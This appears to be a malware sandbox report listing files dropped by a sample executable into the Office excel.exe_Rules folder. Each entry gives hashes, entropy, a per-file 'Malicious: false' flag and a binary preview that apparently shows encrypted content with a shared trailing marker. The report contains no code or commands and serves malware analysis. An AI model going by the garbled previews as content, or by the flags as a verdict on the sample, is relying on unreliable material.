Preview:	<?xml...x;..WW(.^L/Bh.M.j....!....Z..@m..n..."...Q.B...f.,...&BjE..\.....8.gyL.P.}...5.l'.6q.....?...._..5...e..e.....>....D..............}9M....~..;.<}.w.k.....YB'.:%kw.....A<..o2h.....P.e......a?.&.....`..x.3...RWi.3...D.jx..M..e..(......tlg]..6....h.G........p..Eh..U?<.BF.............3..W......A.~tpvc.2.(.P.?./;..i..kU...........]M...bO.#6R."....+e4....-.,..#yIS$.+...V(F\|M.......x.......S.T..}'..P.=.;..}H".......M..J.g[rc>....@..[..6.....IF.c....~.)....z.Zr.IC{.....I..8..P.....I-....1.....t.].z..}....m...5..k.......t.#M.v. E<^...,NY..........n.^.....~a..$.z.r.<.0 ....U...OlJ).9.%>.E.JY.W..R.V.C^.......Q..%..Xi....,.h.j+P...G........~J.-.X.\G.69..6....j..G..li.#..._...lU.pT.N4mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.727990619518462
Encrypted:	false
SSDEEP:	12:kvaowwnUx2aH7Tz/myFcl5Y0dsjtGsD66tEG+lA/uCmo+NfM+XRqgJbOIGg+pSUn:kaowwnU4Cf/lFd0dCHDjtEk/uFfM+QZt
MD5:	850EBBCD2C26E1F29BEE14562B5C1C12
SHA1:	82DCE715B9CC911AC744F0658925A42045E2EA8D
SHA-256:	00704D047213D727F210378257089FA12C2DC55BEDFB0AC5F610941530356D42
SHA-512:	01893906D632ABBB83782304F40C39A81E6957F13A1522BFB0717526AED595B0CC55927044A5E79A56EEA623DC65519EDB4E69FC4966F52F517811F0D82E09F7
Malicious:	false
Preview:	<?xmlYB....5.<...N...s.C..L6...............<,j..B..lP`......d./.....3.t.e..FL.y.r.Q....T..f.........+...o.)P.....)R;.v).(..............!.....`.x#..s..T.&.R.5....Y..s..1.....1.y..{..M$b.....%M..'F_.a.".......#M.S-..v........=^.......:......hI..GT.}...-.......b.T..\:..xxE.M...m.........I!........f.S.A(.^......#..S.U.N....O.....9X....E.q~.....:0..8...P.\|.....O.'.~V.5...gH....r.l.nN.DX.:.......-.@d...C3...Mj3..f.r..V..`.2X...k...GR..}[.....h%.z6Id......@I.w...Re.:...^.ij.z.}......_z.".....u.Nq..h.N3m.P..4..BI.......\|....[f..=..R3~Y9t?..+.=..... 6#.R...Q.\...<x.'..^[P=....... .....kMkfZ..F..a'....a....H.Q...L^qmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.735495249427924
Encrypted:	false
SSDEEP:	12:wsJD9GKdkrSpGQvv9dtygOtSFGyQ7yxmy0+G+Thd8bzonKngrUYSUdNcii9a:wsJcSZ9dtybtbymp+FdQzonKngrU/2bD
MD5:	EF29B6CA5DF5055C8647D8864E141988
SHA1:	EDEA5B1350557E4A0806D130B67008D525D0B88F
SHA-256:	416416AC1A93D9086B8EB3CA9939336D01A14170A5A45D5BCB84DA4768C3091D
SHA-512:	DC3D02DB1090C7076B10AE1473702D7A05F435C9B320493DA18F397DA0FD9E707978A8D2ABE430ABEF2FFE48356A6EB4B8AC7C792711CF13AC8DA4579D39CFF8
Malicious:	false
Preview:	<?xmlM."0.{A?..\^.....k.Q\|.....B..X.$...Ae9...).'..V...OS..s...aknP.%......Y.....Xm5H.<I..t...j..\..nb..........56..4.1I..Vb....=.@.....^..F.b.M)F...l.Z..w2..(\..EJ.....K.......b.7.~.!..).97..$.J.DJ.KR~....TS/...e..Rm..D9.......b.%. .1>e....j...r.O(..:....G,..b.Ekj.t..:O.:.D...S.{..-.r.D.G&.NTp...Zv.V:..F9..SgFhN..GY;^cJD..`..Z.........B.He\|.5.B..S..3..(\|...&\^.pU..G...S..A1}..D7D.%M.,5....J....nq.D.X.@E...\?.! ..,Ur..K...`Q.]...j...GV.)C.%.....U../-.C.........K...m....h.(#j=..E.O.H.U.j..L.axY~.H........d.Z......K.....J..A..&........{`...x..' ..h.)Z_.l!.rk.8e\|.k...>.Cq\..$.[.].J...4..O..;r.....NAT.n1.U......>............]@.b..D ..&.(+.)....l.......].:.O. .<S+...{j.....L..xs.C.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.723408546619723
Encrypted:	false
SSDEEP:	12:u1LKkgzBTWCWpTH8ATPR8N7Sr4vYl4WzhgAT71fTWuTlG/oK9dxzw9QmqWSUdNcq:a12GjZCGkv84qbT75TVNqV2bD
MD5:	6F96D334276568ADF9027714679BA67E
SHA1:	96EC2D092D04D9C882A1DEFCA21FC47EC5F1063F
SHA-256:	A42B1003079C3F68C1BF030076439D18817DF170A9CFF6A8B6D2EF5A2B04DFD7
SHA-512:	FE171D1E7B2851E01D687C505F5308698EA2A8E661A44962DD3424D43C12DB069CC0B77601237D178E562F290EF6535ECAE6C17DF43BFD3CE4E8A79F28A369C0
Malicious:	false
Preview:	<?xml...&I.`...q..?...c1.4....F,..A.c../..\.%....2^....Sc._!..U..k....Me..`%.....o^.UV.%&u\.^...C..,y0...{>....c.<.....BA........suf.M..W.=}.~(..;B..Vwm..<\|.u.".T...q.b.U..1..VPs...kq..]0...@....K6.....$&C.....{.M....%.j..`9Q.._..>3.-:....c]:....@...d.. ..Q.^9P..h.=.....A..;..%{l-`.-..].'....r......=....\|..~.m.3t.(8). .gT.B.^0.$.p..&..?cQ..i..........a...b.j.]_..P..H.L.......t.j.T...%.....,........N..1bCs..!]}...k.:UM.5..Q.....\|?.kTh.......u.'..i......(....>...3.....z..l!......3.....6.I.e7.)..K.}........p.4..0V.R.").c.-...s<.iZ..;w...f.!.T3..:....a...i.P.el...z.A``d-.c...mL%..r&.E.....Y..Y.*..T...._j..N}.?.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.7305761400082025
Encrypted:	false
SSDEEP:	24:EiV/oGIqtCCJJ8x8awI2lbcsgyr2do5QQ62bD:LNoGIUJJDI2Fcs3rEOjxD
MD5:	59360F30692EC287C6AB88FDAB3D738D
SHA1:	0159418F3B9C46E728B62F5FD21F294C2DB8C82F
SHA-256:	F48ADE0EDB666478AF2CC023961FB90041310A51F60427C3BFFF867D10DC0B29
SHA-512:	2EF0D5D8E7937A34FD1D24E6012046F67752AEE90FF06A3EF981E5E9EEE099B1302FD881B866A12894DD6E74D5B4AF75D8791971A9AA2D2D2D1BDF6FADFB98CA
Malicious:	false
Preview:	<?xml......>z......L.7.....8Z..r..o]m..]......4..=3hFf[6..wX/.[?.R..p.)g.r.6H:P2.[@....9......0.A.....,..+...p....o}nJ.r.j.Y=?.&m.@.v....K.u...Z..S.T..X..!..].V.....a.,../.S.Z..I...`.;QW.~..G..3..N.t..m8.....2s.(.j.h...y..\|......$..2.aKZz$./...:E..b.GV....m].L..g.....iO.......sJ.Ri..B<H8.....R.1u..6e...<s.O6.+..M..2.....=..51......&.f....w.b.u....v....I$!..i..G........U.'c. E....e.A...J.".L........{.Jw.O......)..+?[C....a...vm.~...]..E.C..R...P.s...s..J..R.....}..^..d.......\|...V...X.l.V...PS)b..7...\|...w.1R.f.../.7lw.r..!k./I......E7..{.F..T._....E....m..E+.........."<..G.fn.#j...]6....\..-1.W ...UU...r5wUn......l........4,.C..Aw8...m....D>V..W..........r.Qr)...).V.....u.=../..Vo.<.PT..).RmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.697574619604231
Encrypted:	false
SSDEEP:	12:hoqr1rv3jXakPRxN9OLaVSiWIciqgE72cpXNoC0SvXhVL0MNRqSw3S+GJ/iKnRKK:Oqrh3jKEJOLaYi+3gE72cp9oCrvxBJCA
MD5:	0627FB96720825C098AC24B0691C5AB4
SHA1:	EC9334E74C5BF569EE6A09C0EB41C48768E5580E
SHA-256:	75F7BBD49BC6C62C0F9111D749DF22EC6B6A9BFDA770DC6CC91630691A123696
SHA-512:	37943B49819DDAA00CC36FC783D59B30263D7C9489A03D9C237B8C676810B022D046B866275BF896D89FC3CA226B552F7EFEC96D3BFD09B9E4C607E7C591E740
Malicious:	false
Preview:	<?xmldG..4J.L.....N..S.%...6.z.`.r!\|..6H.U.`.h.r..u.(ac..".)p.Ze&..0Y.......%.F...s...M..y..w..O."..2S.A.......yo./.............k.V.Z..../..G........2.&y...s..?{.}.....FSd.....x.....g.Ye...h.{r....3a3A...(u].bo.K.F...p..dv.1mOP."....Hi.\|..Z/2.oS)...v\|4(...PV.I..)+.;y.W0......>p...C...P.JLH-..@..w.(.hS_..nUQ..7".b..4...z....E...._x1....3q."R..\.0....[].7!..\......,..V,...jC...2..d^.$v.l....../.a:.-.`.T.E..^b.J...}...{W=D..t:a......A&...6.t...h4..L..EK.........1.e...+.......$....<q..,7<8.J6...ve.iV3n.7E.mm.5%......o.)G.Z..Q.bq..........r.i>....Hm...$.'.....`.... ..*.V........%X...b.h.B...5\|...l.....D. ..\|ObI.8..aS}.{.e%.\Y.UN.'....P...+.C.....U.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.726413563720562
Encrypted:	false
SSDEEP:	12:yo8Rohv061IzxgRiq5vWOCwere1iEUdASzXE2/Yo1srY1zesKVded1hALOBl2WSw:yoFszORJl0rVEUFfwojz+KhA52bD
MD5:	F84516C414659FC080BB318B34E746CC
SHA1:	7B763574C7F3ECFF35FE1F16FF56BD021F5FD733
SHA-256:	335228EEB2C0849FCCCF813BA463A15F7984A5535E5EF24D462C24B9451F15DE
SHA-512:	293B89E43326CD326F8CD13FA279E37CC543EF1D88AB5DD2CE02C893482487AB77106889B98C827CBBC3F03EB327D90CC70E9F24A07CB97942DD3048CCB9E63C
Malicious:	false
Preview:	<?xml...p....K...I:..n...^F...c...u...Z..r..Tw..S[..n?.%..((...f.#.2..d`.B,0..p.w..v_k4R......a.....D"....Uvn...n%...%...........^.......$..[........n.9..e0"m.....@f....H(... >...@=...E..-..."4...h.I.....7.....:.(Gv\.....s.q8.P....Dw....l_].#...!..9..~.'.....3GV..C ...V.r.......)5..L.n.)../6Ar...v$T..9%....V...L......wVoy.S...v._zpk{U?d\|....Ah.V/.d..V..pM q.K.....D....K..W..}W.JU....K.^.-._.)w4$..r...kO.':..@..HX!l......A.fCX....(fo..Re.x.....-...e.:...n.....73.>.x.....B....B..B.d.W.^.r.'.J.....Q...:..O..i\...B..m".....}.,..W.Q....T..h..D9.z..1.$.L..{.....?.....!....{....^....?}..uIr.7.7..2N.BRvj........1..f.T..._.c...8.H.KX`qQB.P03.)%.\|.4.A.o+N...v.P.E.N4.+..#.d..{....^B.q...d..QS>4mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.711996786671907
Encrypted:	false
SSDEEP:	24:qO0HTTmm+1lhHb15ePnbeqfas4Pdoc02bD:qO0HGmkBb15ePnbWsgd5D
MD5:	251DE1010A6AE8913C5D0F75E45DCA05
SHA1:	8DACF8819E9874DD875AF3B8F505365B925E95BB
SHA-256:	E0133EF365B9BE81CC8F451857422820D667DCC2B26092F87FB350AC26FB2EA4
SHA-512:	CE29A7198618D08530F035B74E4D8A8B043DEEE98625335143095D54219627DAF71530FE3954FDF1E6D04BA26A2E2397DB5804601F9DF640A86FC0FD9423D75A
Malicious:	false
Preview:	<?xmlF.."p..%D.TA.i..b."..G'.r.Y.9El..C......_'.4</_.....n.R,..3.WAu...33\.^.-..npx.jh.....b_..Rx..A.12......#=..i.iw...x .K.\|P....=C.....C....H.U....:0K.RS...q.EZ..1D....(..Y...g.so...sX[V...r..Q..Nx..7}.]#..!.......22.l...=.....(H+.C......=....Y'....:....8.)......vx.X....Or.y.L.sX.''V.D..\>.....z..`...6..Q.....]f..8.\gIY.B..1O.g...H....G..+..\.`ONb.n.p.ss.W..#.~I..n/.B3....V.:X.s%.?bd.\.j..........,\|..03..SJ....K.~$......K..F&.,.,^.&..b..rW.:..<.4.....].E..{.$..cVL.XYj7.0..DwE..w.x^V....3.B......^....}"4....,1..w..8.'..BU.....q=......vDM...&..h.6m.L...o.At.,4.ns..<.R..a?....*$#...V.f...K.....7+/.8..rCA,........W5....$;c.@..O;:8.....J\|.!...$=.......umMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.76870565289898
Encrypted:	false
SSDEEP:	24:J2UHPwQYHvES168ngdZf4rKXLPW3Eo2bD:JzVYHz6Agdt4rKXLsEbD
MD5:	6E8DE941B80CDC08B4F3680433C1D8A0
SHA1:	84F024904F64FAB4CA51D557B23FE7F4BAD76EB7
SHA-256:	F6AD7A8B98770ACA16E43A8B0E3DA165A952ABEE3CAE3F3E61C9FC0DD3D1BF6A
SHA-512:	DE4CC5A38F8B1B35291B33D1EAA2793B2A1D6C0FF6CE7D40FDD0ADFD983178DCE97A78A438B2563D17DCD963AD07596CCA29182CE09D140AA7B7903EAA7B3233
Malicious:	false
Preview:	<?xml....K..\....../..>..p...V..C..$......!%..R.. ..~.s(.~..Zi.........p..A..7....P.$.W.V.w+$...qj.{....K.l.V..%...c........k...X.h..Ma........i.Y7...\|\|.......j{..u....rS..\...f,q?.o.:.QY.T.E;..N.l.<....qg.j.\.E@MZ.]D5.....O..t.6.KH...gC.!o.)...tI..?...~l.,.....C..`S...o)I...l.\|H$.U.....&....1.H.....1....F...rF\|T.<.~..{.{W}....e.....y.........x..5.&).b{\...+d...I.3..!....m....]..bl.>.P..........=..Sd.NzZ..,..j.D._......Q1.xvL...y..2....G..T....C..FW..(h<.IJ......O...-.r..!..X.U..r...K.....n..w<./..R~........W.0..5....EQMyk6.k..~..1........`U.N2.O...b....H..`?....."....Y............!.O.j....q._.m.Y@..L..e\|...<.a.Y..v.../8.......9...K..... DkDq&.<Q9.)...W0..r..M2.2.iX.%.......e.% Qbm.{..G.....}.l..#.8..y.f..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.7446017443626065
Encrypted:	false
SSDEEP:	12:6NGclsrHtghPrh8xwkcX2QvK7W//hHhZytZyFfBAR4xomVWn6pLCsSUdNcii9a:SGXErSxqKI/hB0y9BAS5VWYm2bD
MD5:	CC02AF81F4F310617A5962D8F383B4E3
SHA1:	F10B0698F1FEE03367BB6CEB8845F5DF7ACFA5F5
SHA-256:	A908B0497994825B23DCF02193B0840D3B152AED8A39C5C63A4ED8275FAAEA07
SHA-512:	7F18658E675DE01B31B84BF46A01EB91AD254BF7C206E3CEC15AB5FDA8C4B3B9F6BD4EC7F26F9798B4EA3F2E39CDC76CB05F61DCCA154948183750C858302528
Malicious:	false
Preview:	<?xmlsS..U.~\....)..."..WqH.J.R..~.....!\|....4mKq..-.k=.7...tR....'.W..j..w.^.Do......Z.....!...j..?......hs7....So\../..'H34....x.....'.[...X...B...V.+.-.AJKX-.5../pk..$.A...]..U,.d...ZJ..c...RP~.....y.o>AQ..el2.......u.N.?..Z...."p.a.....wT...(.....1.... ~r...i....y"..Dg.S..W...U&.cE...[..8...@!..G7.........6..oW..<......2....j....1Z.rJ.f.M."v. -..>\.+.....?/ZG.X,.2..\|l..0.Gu.E.;...`.......7....<...DQc...g$..........Lg....~..}.zU.....:...;y...Aq?X.`.......{....:....P.n.^Gm...x.B3/..r.(.+.....b.*I.D.vt.....>I..e....5...7.d....l. ....E.!A....H...,......ea......$[..(fV..V-\..v........4.b....8.[.e......L0}....O}......Crp.h..C.<x@V.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.72316766430296
Encrypted:	false
SSDEEP:	12:+pNzsKRu7z4yCXcwF6rEP7QprQegJohQpsN+F8EWmxFr9YNt3gCDGX2ZXhCIeSUn:KL5BhzwQDjpsN+eA9YNtV62ZXhCIN2bD
MD5:	E27C5C4A03D90CF3881D418C1A08B2FE
SHA1:	E1226258D60E35288F792008441F122994814CEE
SHA-256:	0E21F789E8E73233B18075D3325E85DFC4B60362437102C4EBB0B0FFCA31939D
SHA-512:	57595B7A33884B7C5105CE9B5273F408B17F256858AB3A4B1CA8FD4EED9E67BB8333E5CBE61E8CC918259D68B447017FC2886104A4EF7471249298071D67C404
Malicious:	false
Preview:	<?xml..>r..........9..I s.E...BA...X.........w....HX......\|.a......?f.c..3..h..C.g.3K...N2..w.......-bh..rl&......P..).....on.....".@f.S..Z'..u.m:...{.....,..31.)1...>.;\......\.c...\|.=A.I1.0..`...zI......&.p./..;.87h...j...!..nY...N+...n.wb......v.......C...XO.xD..."..o.,.H.$..ZmIN.p~.@CC%+......:\..a.s...h.h.....UD2...V....7......~r.....&\..^.T......8Zh\.mH.zz..7r}O.,...(Nx9F.@....e.W.ZNZ.a.O#...h<..p..5&....7.H.......).^.o.K...rGz.c..dIW..V4...M.j\|.....Q...vj.....\|...d\|.).....e!/`..2...}2kw....x}.&hB..2Nb.....WmXxhq......<..X.=.tAB.?.r...].^.[..S......c....aai.Z.c..8...jA.Fb....Yp.1.......!...n."..aS....P`.....#..Xz..Y............vJV....'.'..o..."...I......q...q..\..N.a....R...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.712695494704362
Encrypted:	false
SSDEEP:	12:bwb3jZCJOt3FDluqV1IUOZvZUxZ7/OIiamzOoYDmRbZF+VDuT2GPx5MRzhpiz8LX:bIjZCA5V1IUEvZPfamBYSRdFU6T2o5M9
MD5:	29A27271D101A1A02749F3F7F6FE2C2B
SHA1:	CFF8D42310D0C3B32DD6EB9140FDB7967831AD04
SHA-256:	E130B3A1B94C0B19DEB6183A1D66DDB92013F0A0A798198A9840051FD9D10A70
SHA-512:	5718B929FA683C0818225FDB91A313B7FC0CD06D3CB3B25FB54F71BC6965C2A5E3E8AEBA24AF95BD4D544EFF79A1B82BB345BC82A05C5A661A09AB6DAD00B95E
Malicious:	false
Preview:	<?xml+:6....%.....5...#S.I`..o.q.,i..H[.4...v...t.....].....p.\.k._.Q..#?.\.8......bL....[^......:..q.hz@....N...Q..].m.6..-MO2.."3^.Xv..W1.'t.....8..:.>....%...-..V...3F.......7zm..?.e@..G6.......?W].K.{...&T.J.D...h..t.N.9..F\|._..:...._.Ks1_$.....V.S..q..:......=.....7...26.x.5..=..%.\......uP.u.I.K...'.......d..xv.#...@o..hw ..A.\|vul....3....R..%..I......u6.$../.F..%....`.'Id./RD;k....!n\|.....3.v0N.C8..Q..Y...z.1.S]E2..ZO.U...a..%.'..-(.u@..........C:2v.~o..A.>S.[.......<......0.9....ify$.......-Xb...;..T.f..P.....\|.Ah.5.>....U..SX.m....S........aW.*.E+....4.D..O....G]...4.V6...D...JE.h.1..[#....9#.G..V..q<S..0Z.N.-.\22...s...q..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.72670305615833
Encrypted:	false
SSDEEP:	24:GirpdxvB+6a/WUJCGhaGKn4MvfRwYdkOqhoV2bD:GkZ+XZJCBGKn5fqMuD
MD5:	08744B5BB07ACAC5059881E6C80366E9
SHA1:	80BA4752529E78E58665BA47F9D18FD04D658FB8
SHA-256:	01BDA826C861A2A9C09877820DA616F375820ED492C6B5543541ABF3A14D9938
SHA-512:	996AAD7B9CB9E539DDF5407684D3736773B31819B00EA758043B03557CE5E093E34EA448B658BBCC4FB35685CB6DA58FCC4680BB79579641C1EB7C16FA48FF15
Malicious:	false
Preview:	<?xml..{..!...;..!...).K>R3....64.../.v..Y.$.a...._O&.A..L..o....AO.eH....5^5.....kQ.GB%...`U@j~.n.$`.&...R:..7...g..............9N1......C......LL..O...`....................a.E../...?..h..:5R...[.Z..u...>.`..D.:..P.... ..}.'....\...}~.8eIrU...?.i~E........7......W...k[\|.z.gc..)...&......Z.+..p-tC..l#i..h...9Rj.].R..B...U:...E\|K...m7...r..R(a..r.q.32..9.w..XSF286...;rA5....7...9;.=..J......?...6......#N-#. ..XDK..K..M=K.".:.V..J..I.{{..Q..j..\|...JOw...F\!C..Zi...>..../.0.Z.k..f....J;..LQ).9O'../.y.$}.V[!C1../...k=.q..U..#.TVH....."....&"r..'!....S.P.O.m.l...@.\..4.>..'d.-UDY.....}..T.HUV.}zt. ..V.<....N.....D.R..Q..@ZnXZ.C...B.jV....p....9V..........l....1.."..u<.G.Dn\|OM.C.>mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.674777029524418
Encrypted:	false
SSDEEP:	12:wVlBZEyBB+kPKGzD54tiiACmxVFVT7COuOZgblCUG8FSUdNcii9a:wvBP+kPLF48inmpVP3ZSwFh2bD
MD5:	A21F32583D75FDF9CA2A9D9AC4C38EB4
SHA1:	8F4268DF81E0A4EE50016644FF2F5C2139EE449B
SHA-256:	6B7793EAB71FDE6E33384665D4166117C88E0D0E51EF6E616D56ED1F1FAC5DAD
SHA-512:	68732FACA1F4A0B0885CF1292334C71E1BF49AA10BB60B4A87D14630208597B1095E24D29AEA8C2E9F771922A2F009BDD83241F179E262B92D144BD2A1966A5C
Malicious:	false
Preview:	<?xml.Z,....N...S.U.......--..`.....-....8..._......95.'.8...q.........y.(..a.)@n.p.R..=.....<.0=L.Bl.6..4.7 .^5T..mlLW....]&/....0k.......?Y:..jl...\|.[*.III..o.j.......U5.."[];./...[.n......C.W..~...E.[K.4.z...o.m?..._.10.F.5...R.O..?oJ.3..e..EGU.~9.(~.@;.._......,.a.&.O].%6p.............1....p...h0L..r.jWV. .C(..F.$[......l..).T..W...4b...U....\|.../.P..R..j(S#...r.1.&.(.+..g..M.v...~..l....?.V\.{....=.tf.u0..={Vg..5f.!.s...B....c..D.x#.I..q~/.....>z)...(.u.....\.>.x.F$.n.....3-B..F#..o2...)I.w..Cra./`.F......R...>T..'~.T.]..4t..r....P..f..... x0..^..d...nk.m....>a..IsB.......@j.E.\.X..37.......i4C.Nq..l..\....t..'..O7,...`.S...Gp...o.X.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.725315487806528
Encrypted:	false
SSDEEP:	24:Q7FZHLoR3RdrUQ9jx+sV8lNtUAe2HxPGEiv2bD:Q7FlkR3RdrUe9+zhiMD
MD5:	20801CD63A5A081C1D1C4B10C9EA66B4
SHA1:	7E52921A88390D91E321358D167D7A225AF258D7
SHA-256:	D766941B36E48BE2EDE5895035BF29C1DB9FE92D562C9E4DE1C11BE39ED70840
SHA-512:	4111A41ECFC38F0472BA04E64B7F15BB9A0755715E013D2034AD7FA9B05A12B0452584A7C353115E545C2713E75CDFC24B7940421839B2889F18F9EAB6BA75B1
Malicious:	false
Preview:	<?xmlI.Ia.>.@.J..)7t.2..O....J.Z....@.+d....;(@...To...u.!U....7..<\....:..1.<.'.....4K.h..,3=p.c.P..p;...9?m..\.#....=.vn...+........8.....HFB.....9.\|").v..u...wl....H..Zc.TW..ezS....$~..jb...s...: .0.gYN.....L.3....c.X......iz.).u7.vna.R.>T7.........27d....?g.......x.B.G...b......"%.Y..wX^l..C}..-P..i...t+....W.../..<=._.......9.1.3..G..!.]..<.....)..)...@...W6.O..6`....O..L..6.$.I..S...`B..e.3f.].uo.E]j....*NC.H......D..}..........P. ....PDn..on.........d.RpT..pg.5..... .......6%..9..9....ExB./Y...Hk..~....A7N..4.~....."..d.....Z..=..:.A..!n.G......2.a.,7".u.O.@D...]\\!.......f..G.%6.Ymo......D..q'.Q..nZ../..2.E..a...c.pMB..y..Y..UfdYi.....F.!z...y...iO..w.MH($._....!.....h..E/&h.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.700535351110845
Encrypted:	false
SSDEEP:	12:+N/cuLnCIN8PSbvhU/rE+Qk3RY5Vqb5Q776wSEW4RQ/PLWkbLvJ/DSUdNcii9a:C/jCIOPSbvhU/r/QkBYiVQvPrQXLW+Lf
MD5:	BFD05B4D001F15F10C313B7D23CA9E40
SHA1:	B250A3553F16D0D1160E1A30BD684717EB41DED2
SHA-256:	F5C998438C7F602FACCE6EDDAB9EA0D63D55F452669B379BBC34F937DFF17762
SHA-512:	1AC46A654FC72EC5D547E887F23AB8FBF929A0CC111BCA71802D68E403351D2445CC0A80E269D5DCDB8C613538F5A4FCCDB6FD688671ED007C514A16CD12D0FA
Malicious:	false
Preview:	<?xml.8.La~.sn!.RZ.:Q..d.....g.AkK.~...Vv>......,....`K.D...../q.\|.._5.S.x..D...G...Y'..K.~..8..L...0<.>.".....=(4...X..4..R.[b..i..D.h.U!......'.4.n(..k....".].'.....PBkM.{....I...,0.fK.j.}..fE5.!....s....U]....o.b......5...}]"....ul..:TBN...QK....(.]3..6U..%. ~/).....d.h.hpD.<.lLa....;..^...u....V1j.%....k......F$.Z.H..2......g...>...2......G.:..zR..dn...a.)...W...J6....!a.d`.z.1...h......./&P.G...].9.9.p..y..!......s.)F.~.>/.-.,j......0t...G...][.....q..1....d.!.<...,..B0=....DB..I+..1Pd..]q.p..=O.......ht.,._>..;.zq..]EFw..n..&Z9.O...7..>..R.?.UI...=......A...m`U;8.K.V...o.C..L..W.P.u).d:^......<+...!.fN.At..R.GI...(.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.683933884245095
Encrypted:	false
